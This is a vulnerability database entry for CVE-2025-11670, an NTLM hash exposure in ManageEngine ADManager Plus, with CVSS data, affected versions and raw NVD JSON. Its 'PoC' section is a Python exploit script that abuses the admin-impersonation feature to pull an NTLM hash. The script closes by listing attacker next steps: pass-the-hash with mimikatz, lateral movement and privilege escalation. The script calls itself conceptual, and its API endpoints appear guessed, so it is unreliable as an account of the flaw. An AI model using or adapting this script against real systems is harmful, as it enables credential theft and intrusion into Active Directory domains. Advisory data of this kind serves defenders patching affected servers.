Security Vulnerability Report
中文
CVE-2025-11670 CVSS 6.4 MEDIUM

CVE-2025-11670

Published: 2025-12-15 11:15:39
Last Modified: 2025-12-18 01:51:55
Source: 0fc0942c-577d-436f-ae8e-945763c79b02

Description

Zohocorp ManageEngine ADManager Plus versions before 8025 are vulnerable to NTLM Hash Exposure.  This vulnerability is exploitable only by technicians who have the “Impersonate as Admin” option enabled.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:zohocorp:manageengine_admanager_plus:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8000:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8001:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8002:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8010:*:*:*:*:*:* - VULNERABLE
ManageEngine ADManager Plus < 8025

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11670 PoC - ManageEngine ADManager Plus NTLM Hash Exposure # Note: This is a conceptual PoC for educational and security testing purposes only # Ensure you have explicit authorization before testing any system import requests import json import base64 import re TARGET_HOST = "https://admanager.example.com" LOGIN_URL = f"{TARGET_HOST}/api/v1/login" IMPERSONATE_API = f"{TARGET_HOST}/api/v1/admin/impersonate" def exploit_cve_2025_11670(): """ Exploit for CVE-2025-11670: ManageEngine ADManager Plus NTLM Hash Exposure Requires a technician account with 'Impersonate as Admin' privilege enabled """ # Step 1: Authenticate with technician account credentials = { "username": "technician_user", "password": "technician_password", "domain": "YOUR_DOMAIN" } session = requests.Session() login_response = session.post(LOGIN_URL, json=credentials, verify=False) if login_response.status_code != 200: print(f"[-] Authentication failed: {login_response.status_code}") return None print("[+] Successfully authenticated as technician") # Step 2: Trigger impersonation to expose NTLM hash # Target an admin account for impersonation impersonate_data = { "targetUser": "admin_user", "targetDomain": "YOUR_DOMAIN", "operation": "getUserDetails" } # Step 3: Capture response containing NTLM hash exploit_response = session.post(IMPERSONATE_API, json=impersonate_data, verify=False) if exploit_response.status_code == 200: response_data = exploit_response.json() # Look for NTLM hash in various response fields ntlm_hash = None for key, value in response_data.items(): if isinstance(value, str) and len(value) == 32: # Check for potential NTLM hash format if re.match(r'^[a-f0-9]{32}$', value): ntlm_hash = value print(f"[+] Potential NTLM hash found in field '{key}': {ntlm_hash}") break if ntlm_hash: print("[+] NTLM hash successfully extracted!") print(f"[+] Hash can be used for Pass-the-Hash attacks") return ntlm_hash else: print(f"[-] Exploitation failed: {exploit_response.status_code}") return None if __name__ == "__main__": print("CVE-2025-11670 PoC - NTLM Hash Exposure in ManageEngine ADManager Plus") print("=" * 70) ntlm_hash = exploit_cve_2025_11670() if ntlm_hash: print(f"\n[SUCCESS] Extracted NTLM hash: {ntlm_hash}") print("\nNext steps for attacker:") print("1. Use tools like mimikatz for Pass-the-Hash") print("2. Attempt lateral movement to other systems") print("3. Escalate privileges using harvested credentials")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11670", "sourceIdentifier": "0fc0942c-577d-436f-ae8e-945763c79b02", "published": "2025-12-15T11:15:38.607", "lastModified": "2025-12-18T01:51:54.977", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Zohocorp ManageEngine ADManager Plus versions before 8025 are vulnerable to NTLM Hash Exposure. \nThis vulnerability is exploitable only by technicians who have the “Impersonate as Admin” option enabled."}], "metrics": {"cvssMetricV31": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.0", "matchCriteriaId": "35D63C02-129E-43A5-AB58-E2246679811B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8000:*:*:*:*:*:*", "matchCriteriaId": "4C4EF8A9-A448-48F7-9FEC-33580DE461C6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8001:*:*:*:*:*:*", "matchCriteriaId": "EA01C510-9E1D-4F00-9D65-6305A69E533E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8002:*:*:*:*:*:*", "matchCriteriaId": "629EAF0E-6444-4E3A-AE0B-A00382ED951D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8010:*:*:*:*:*:*", "matchCriteriaId": "48B2B35E-9D79-4515-B0F9-260D71D45756"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8011:*:*:*:*:*:*", "matchCriteriaId": "3EE35042-E248-41D7-AD60-123EB1C459FA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8012:*:*:*:*:*:*", "matchCriteriaId": "519D71D4-1905-4FDA-9F46-F3152B84D633"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8020:*:*:*:*:*:*", "matchCriteriaId": "4DE86032-9A43-45C3-8FEC-5C069C7AE793"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8021:*:*:*:*:*:*", "matchCriteriaId": "7276041D-D6A3-4164-849C-855765D5FF10"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_admanager_plus:8.0:8022:*:*:*:*:*:*", "matchCriteriaId": "009F7D2E-D2DF-4B54-B48B-CF720E41153C"}]}]}], "references": [{"url": "https://www.manageengine.com/products/ad-manager/admanager-kb/cve-2025-11670.html", "source": "0fc0942c-577d-436f-ae8e-945763c79b02", "tags": ["Vendor Advisory"]}]}}